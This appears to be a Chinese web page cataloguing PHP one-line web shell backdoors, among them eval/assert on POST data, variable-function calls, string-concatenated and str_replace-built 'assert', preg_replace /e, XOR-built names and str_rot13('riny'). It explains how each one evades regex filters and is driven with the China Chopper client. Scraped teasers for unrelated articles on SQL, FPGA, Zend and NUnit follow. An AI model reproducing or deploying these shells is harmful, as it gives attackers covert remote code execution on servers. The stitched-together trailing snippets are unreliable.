assert_option()可以用来对assert()进行一些约束和控制

一.eval
eval用法:
eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
1 <?phpeval($_POST[password]);?>
二.assert
Assert用法:
assert这个函数在php语言中是用来判断一个表达式是否成立。返回true or false;
这跟eval()类似。不过eval($code_str)只是执行符合php编码规范的,assert的用法却更详细一点 。
assert_option()可以用来对assert()进行一些约束和控制

默认值:

1 2 3 4 5 ASSERT_ACTIVE=1//Assert函数的开关 ASSERT_WARNING=1//当表达式为false时,是否要输出警告性的错误提示,issue a PHP warning for each failed assertion ASSERT_BAIL=2881064151//是否要中止运行;terminate execution on failed assertions ASSERT_QUIET_EVAL=0//是否关闭错误提示,在执行表达式时;disable error_reporting during assertion expression evaluation ASSERT_CALLBACK=(NULL)// 是否启动回调函数 user function to call on failed assertions

可以通过以上方法修改assert后门,达到绕过正则:

1 <?phpassert($_POST[password]);?>

三.变形一句话:

1 <?php$_GET[‘xxoo‘]($_POST[‘cmd‘]);?>

客户端用菜刀,密码cmd,url为test.php?xxoo=assert

1 <?php$_POST[‘xxoo‘]($_POST[‘cmd‘]);?>

这个是直接发post数据包就OK。

1 2 3 4 5 6 7 <?php $a=“a”.”s”.”s”.”e”.”r”.”t”; $a($_POST["cmd"]); ?>

1 <?php([email protected]$_GET[password])[email protected]$_($_POST[xxoo])?>
利用方法:http://localhost/password.php?password=asstrt
原理就是get传递参数assert然后形成@[email protected]($_($_POST[xxoo])
1 <?php$_POST[‘password‘]($_POST[‘cmd‘]);?

提交post内容形成assert,eval。

四.通过str_replace替换

$a = str_replace(x,””,”axsxxsxexrxxt”)

最后要形成的是$a = assert

五.

1 2 3 <?php @preg_replace(“/[email]/e”,$_POST[‘h‘],”error”); ?>
谈谈这个后门吧,这个是用e修饰符,只需要e所在的位置跟最后的”error”正则匹配正确就会$_POST[‘h’]的内容。
那么我们只需要用菜刀<O>[email protected]($_POST[c]);</O>就可以,让h参数执行。

六.

1 2 3 4 5 6 7 <?php $_=""; $_[+""]=‘‘; $_="$_".""; $_=($_[+""]|"").($_[+""]|"").($_[+""]^""); ?> <?php${‘_‘.$_}[‘_‘](${‘_‘.$_}[‘__‘]);?>
菜刀里写:http://localhost/2.php?_=assert&__=eval($_POST[‘xxoo’])
密码:xxoo
原理分析你只需要让$_拼接打印即可。

七.

1 2 3 <?php ($b4dboy=$_POST[‘1‘])&&@preg_replace(‘/ad/e,,‘@,.str_rot13(‘riny,).,($b4dboy)‘,‘add‘); ?>
‘@’.str_rot13(‘riny’)相当于@eval,然后你懂的。
其实大都数原理都是如此,加了变形,解析后依然是原装语句eval,assert。

时间: 2024-11-07 03:36:51

assert_option()可以用来对assert()进行一些约束和控制的相关文章

assert进行程序调试

assert这个函数在php语言中是用来判断一个表达式是否成立.返回true or false;例如<?php$s = 123;assert("is_int($s)");?> 从这个例子可以看到字符串参数会被执行,这跟eval()类似.不过eval($code_str)只是执行符合php编码规范的$code_str.assert的用法却更详细一点. assert_option()可以用来对assert()进行一些约束和控制;默认值ASSERT_ACTIVE=1 //Asse

常见的一句话木马

一句话木马入侵原理 <%execute request("#")%>是典型的一句话木马服务端代码,将这个代码写入asp文件,就成了一句话木马服务端文件. 仔细观察一下<%execute request("#")%>这句代码,括号里的"#"是我们一句话的密码,我们可以把它改成任意字符,这样可以避免别人发现我们的一句话木马后,轻松的通过它捡个大便宜,如果我们上传的一句话代码为<%execute request("

09. 约束与索引的联系

原文:09. 约束与索引的联系 之所以把约束和索引放到一起来看,主要是因为主键约束和唯一键约束,它们会自动创建一个对应的索引,先分别看下数据库中的几个约束. 一 约束 在关系型数据库里,通常有5种约束,示例如下: use tempdb go create table s ( sid varchar(20), sname varchar(20), ssex varchar(2) check(ssex='男' or ssex='女') default '男', sage int check(sage

FPGA管脚约束

Edit → language templates : 打开即可查看基本语法. 一.xilinx中的约束文件 1.约束的分类 利用FPGA进行系统设计常用的约束主要分为3类. (1)时序约束:主要用于规范设计的时序行为,表达设计者期望满足的时序条件,知道综合和布局布线阶段的优化算法等. (2)布局布线约束:主要用于指定芯片I/O引脚位置以及指导软件在芯片特定的物理区域进行布局布线. (3)其它约束:指目标芯片型号.接口位置.电气特性等约束属性. 2.约束的主要作用 (1)提高设计的工作效率 对很

ZendFramework 入门教程

一.Zend Framework简介 1. 什么是ZendFramework Zend Framework(ZF or ZFW)是PHP的母公司Zend公司开发的一套PHP开发框架技术,它提供了一个优秀的.简单的综合开发环境,提供了很多可用的解决方案,可以用来建立一个稳定的.可升级的的Web应用. 所谓框架,是整个或者部分系统的可重用设计,它首先要提供一个可复用的应用参考架构,阐明整个设计.组件之间的依赖关系.责任分配和控制流程,也包含一些设计规范等等.它提供了对一些通用问题的解决方案. 另外Z

C/C++ 笔试题

/////转自http://blog.csdn.net/suxinpingtao51/article/details/8015147#userconsent# 微软亚洲技术中心的面试题!!! 1.进程和线程的差别. 线程是指进程内的一个执行单元,也是进程内的可调度实体.与进程的区别:(1)调度:线程作为调度和分配的基本单位,进程作为拥有资源的基本单位(2)并发性:不仅进程之间可以并发执行,同一个进程的多个线程之间也可并发执行(3)拥有资源:进程是拥有资源的独立单位,线程不拥有系统资源,但可以访问

用HAWQ轻松取代传统数据仓库(十二) —— 查询优化

即便对SELECT等数据库查询语句已经很熟悉了,但HAWQ里的查询有其自己的特点,还是需要研究一下. 一.HAWQ的查询处理流程        理解HAWQ的查询处理过程有助于写出更加优化的查询.与任何其它数据库管理系统类似,HAWQ也有如下的查询执行步骤: 用户使用客户端应用(如psql)连接到HAWQ master主机上的数据库实例,并向系统提交SQL语句. master接收到查询后,由查询编译器解析提交的SQL语句,并将生成的查询解析树递交给给查询优化器. 查询优化器根据查询的磁盘I/O.

[原创]利用system verilog快速构建单元仿真

在一些单元模块仿真时,往往需要构建一定格式的数据激励,如某个处理TCP报文的单元模块,需要构建符合TCP报文格式的激励.基于verilog的激励生成,大致有两种方法: txt文件法.将符合需求的数据记录于txt,仿真时调用. 直接合成法.利用verilog在tb中直接合成激励. 这两种方法的优点是直观,但不够灵活.其一,当激励的数据结构复杂时,构建起来比较麻烦:其二,当被测对象的输入协议改动时,往往牵一发而动全身,需要对tb做整体的检查. 利用system verilog构建单元测试可以克服上述

单元测试 之 NUnit和RhinoMocks

在dotnet环境中,我们通常使用NUnit和RhinoMocks来编写单元测试. NUnit 简介 NUnit是.net平台上的一个单元测试框架,用来帮助开发人员方便的完成单元测试的编写.其主页为 http://www.nunit.org,目前最新版本为2.6.3. 可以通过以下链接来查看不同版本的使用文档 http://www.nunit.org/index.php?p=documentation Rhino Mocks简介 Rhino Mocks是一个模拟对象创建和管理框架.使用它,开发人